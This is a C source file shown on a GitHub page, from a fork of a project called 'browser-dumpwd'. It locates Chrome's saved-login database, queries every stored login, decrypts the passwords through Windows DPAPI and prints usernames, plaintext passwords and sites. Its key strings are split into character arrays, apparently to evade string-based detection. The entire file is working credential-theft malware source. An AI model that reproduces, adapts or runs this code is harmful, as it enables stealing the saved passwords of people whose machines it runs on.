forked from wekillpeople/browser-dumpwd
/
chrome.c
167 lines (130 loc) · 4.31 KB
/
chrome.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#ifdef UNICODE
#undef UNICODE
#endif
#include <windows.h>
#include <Shlwapi.h>
#include <Shlobj.h>
#include <conio.h>
#include <Wincrypt.h>
#include <stdlib.h>
#include <stdio.h>
#include <memory.h>
#include "sqlite3.h"
#include "mem.h"
#include "misc.h"
#include "chrome.h"
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "Shell32.lib")
LPSTR GetChromeProfilePath()
{
char strFormat[] = { '%', 's', '\\', 'G', 'o', 'o', 'g', 'l', 'e', '\\', 'C', 'h', 'r', 'o', 'm', 'e', '\\', 'U', 's', 'e', 'r', ' ', 'D', 'a', 't', 'a', '\\', 'D', 'e', 'f', 'a', 'u', 'l', 't', '\0' };
LPSTR strPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char));
if (!SHGetSpecialFolderPath(NULL, strPath, CSIDL_LOCAL_APPDATA, FALSE))
return NULL;
LPSTR strFullPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char));
_snprintf_s(strFullPath, MAX_PATH, _TRUNCATE, strFormat, strPath); //FIXME: array
LPSTR strShortPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char));
if (!GetShortPathName(strFullPath, strShortPath, MAX_PATH) || !PathFileExists(strShortPath))
{
tfree(strShortPath);
strShortPath = NULL;
}
tfree(strPath);
tfree(strFullPath);
if (PathFileExistsA(strShortPath))
return strShortPath;
return NULL;
}
LPSTR CrackChrome(PBYTE pass) {
DATA_BLOB data_in, data_out;
DWORD dwBlobSize;
CHAR *decrypted;
data_out.pbData = 0;
data_out.cbData = 0;
data_in.pbData = pass;
for (dwBlobSize = 128; dwBlobSize <= 2048; dwBlobSize += 16)
{
data_in.cbData = dwBlobSize;
if (CryptUnprotectData(&data_in, NULL, NULL, NULL, NULL, 0, &data_out))
break;
}
if (dwBlobSize >= 2048)
return NULL;
LPSTR strClearData = (LPSTR)talloc((data_out.cbData + 1)*sizeof(char));
if (!strClearData)
{
LocalFree(data_out.pbData);
printf("chrome crack failed\n");
return NULL;
}
//FIXFIXFIXFIX
decrypted = (LPSTR)talloc((data_out.cbData + 1)*sizeof(char));
memset(decrypted, 0, data_out.cbData);
memcpy(decrypted, data_out.pbData, data_out.cbData);
sprintf_s(strClearData, data_out.cbData + 1, "%s", decrypted);
LocalFree(data_out.pbData);
tfree(decrypted);
return strClearData;
}
int chrome_worker(PVOID lpReserved, int dwColumns, LPSTR *strValues, LPSTR *strNames)
{
LPSTR strResource = NULL;
LPSTR strUser = NULL;
LPSTR strPass = NULL;
CHAR strOrigin[] = { 'o', 'r', 'i', 'g', 'i', 'n', '_', 'u', 'r', 'l', 0x0 };
CHAR strUserVal[] = { 'u', 's', 'e', 'r', 'n', 'a', 'm', 'e', '_', 'v', 'a', 'l', 'u', 'e', 0x0 };
CHAR strPassVal[] = { 'p', 'a', 's', 's', 'w', 'o', 'r', 'd', '_', 'v', 'a', 'l', 'u', 'e', 0x0 };
CHAR strChrome[] = { 'C', 'h', 'r', 'o', 'm', 'e', 0x0 };
for (DWORD i = 0; i < dwColumns; i++)
{
if (!strNames[i])
continue;
if (!strcmp(strNames[i], strOrigin))
{
strResource = (LPSTR)talloc(1024 * sizeof(char));
//sprintf_s(strResource, 1024, "%S", strValues[i]);
sprintf_s(strResource, 1024, "%s", strValues[i]);
}
else if (!strcmp(strNames[i], strUserVal))
{
strUser = (LPSTR)talloc(1024 * sizeof(char));
sprintf_s(strUser, 1024, "%s", strValues[i]);
}
else if (!strcmp(strNames[i], strPassVal)){
strPass = CrackChrome((PBYTE)strValues[i]);
}
}
if (strResource && strUser && strPass && strlen(strResource) && strlen(strUser))
{
printf("CHROME => uname: %s\tpwd: %s\tsite: %s\n", strUser, strPass, strResource);
}
tfree(strResource);
tfree(strUser);
tfree(strPass);
return 0;
}
VOID dump_chromesql_pass()
{
LPSTR strProfilePath = GetChromeProfilePath();
if (!strProfilePath)
return;
DWORD dwSize = strlen(strProfilePath) + 1024;
LPSTR strFilePath = (LPSTR)talloc(dwSize);
CHAR strFileName[] = { 'L', 'o', 'g', 'i', 'n', ' ', 'D', 'a', 't', 'a', 0x0 };
_snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName);
sqlite3 *lpDb = NULL;
if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK)
{
sqlite3_busy_timeout(lpDb, 5000);
CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'l', 'o', 'g', 'i', 'n', 's', ';', 0x0 };
sqlite3_exec(lpDb, strQuery, chrome_worker, 0, NULL);
sqlite3_close(lpDb);
}
tfree(strFilePath);
tfree(strProfilePath);
}
VOID dump_chrome_passwords()
{
dump_chromesql_pass();
}